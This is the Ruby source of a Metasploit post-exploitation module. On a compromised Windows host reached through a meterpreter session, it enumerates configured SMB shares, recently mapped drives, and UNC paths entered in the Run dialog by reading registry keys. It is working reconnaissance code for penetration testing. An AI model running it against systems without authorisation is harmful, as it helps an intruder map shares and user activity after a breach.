##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Post::Windows::Priv

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather SMB Share Enumeration via Registry',
				'Description'   => %q{ This module will enumerate configured and recently used file shares},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
				'Platform'      => [ 'win' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
		register_options(
			[
				OptBool.new("CURRENT" , [ true, "Enumerate currently configured shares"                  , true]),
				OptBool.new("RECENT"  , [ true, "Enumerate Recently mapped shares"                       , true]),
				OptBool.new("ENTERED" , [ true, "Enumerate Recently entered UNC Paths in the Run Dialog" , true])
			], self.class)

	end

	# Stolen from modules/auxiliary/scanner/smb/smb_enumshares.rb
	def share_type(val)
		stypes = [
			'DISK',
			'PRINTER',
			'DEVICE',
			'IPC',
			'SPECIAL',
			'TEMPORARY'
		]

		if val > (stypes.length - 1)
			return 'UNKNOWN'
		end

		stypes[val]
	end

	# Method for enumerating recent mapped drives on target machine
	def enum_recent_mounts(base_key)
		recent_mounts = []
		partial_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer"
		full_path = "#{partial_path}\\Map Network Drive MRU"
		explorer_keys = registry_enumkeys(partial_path)
		if explorer_keys.include?("Map Network Drive MRU")
			vals_found = registry_enumvals(full_path)
			if vals_found
				registry_enumvals(full_path).each do |k|
					if not k =~ /MRUList/
						recent_mounts << registry_getvaldata(full_path,k)
					end
				end
			end
		end
		return recent_mounts
	end

	# Method for enumerating UNC Paths entered in run dialog box
	def enum_run_unc(base_key)
		unc_paths = []
		full_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"
		vals_found = registry_enumvals(full_path)
		if vals_found
			vals_found.each do |k|
				if k =~ /./
					run_entrie = registry_getvaldata(full_path,k)
					unc_paths << run_entrie if run_entrie =~ /^\\\\/
				end
			end
		end

		return unc_paths
	end

	# Method for enumerating configured shares on a target box
	def enum_conf_shares()
		if sysinfo["OS"] =~ /Windows 7|Vista|2008/
			shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares"
		else
			shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares"
		end
		share_names = registry_enumvals(shares_key)

		if share_names.length > 0
			shares = []
			print_status("The following shares were found:")
			share_names.each do |sname|
				info = registry_getvaldata(shares_key,sname)
				next if info.nil?
				share_info = info.split("\000")
				print_status("\tName: #{sname}")
				stype = remark = path = nil
				share_info.each do |e|
					name,val = e.split("=")
					case name
					when "Path"
						print_status "\tPath: #{val}"
						path = val
					when "Type"
						print_status "\tType: #{val}"
						stype = share_type(val.to_i)
					when "Remark"
						remark = val
					end
				end
				# Match the format used by auxiliary/scanner/smb/smb_enumshares
				# with an added field for path
				shares << [ sname, stype, remark, path ]
				print_status()
			end
			report_note(
				:host => session,
				:type => 'smb.shares',
				:data => { :shares => shares },
				:update => :unique_data
			)
		else
			print_status("No shares were found")
		end
	end

	def run
		print_status("Running against session #{datastore["SESSION"]}")

		# Variables to hold info
		mount_history = []
		run_history = []

		# Enumerate shares being offered
		enum_conf_shares() if datastore["CURRENT"]
		if is_system?
			mount_history = enum_recent_mounts("HKEY_CURRENT_USER")
			run_history = enum_run_unc("HKEY_CURRENT_USER")
		else
			user_sid = []
			key = "HKU\\"
			root_key, base_key = session.sys.registry.splitkey(key)
			open_key = session.sys.registry.open_key(root_key, base_key)
			keys = open_key.enum_key
			keys.each do |k|
				user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
			end
			user_sid.each do |us|
				mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") if datastore["RECENT"]
				run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") if datastore["ENTERED"]
			end
		end

		# Enumerate Mount History
		if mount_history.length > 0
			print_status("Recent Mounts found:")
			mount_history.each do |i|
				print_status("\t#{i}")
			end
			print_status()
		end

		# Enumerate UNC Paths entered in the Dialog box
		if run_history.length > 0
			print_status("Recent UNC paths entered in Run Dialog found:")
			run_history.each do |i|
				print_status("\t#{i}")
			end
			print_status()
		end

	end

end
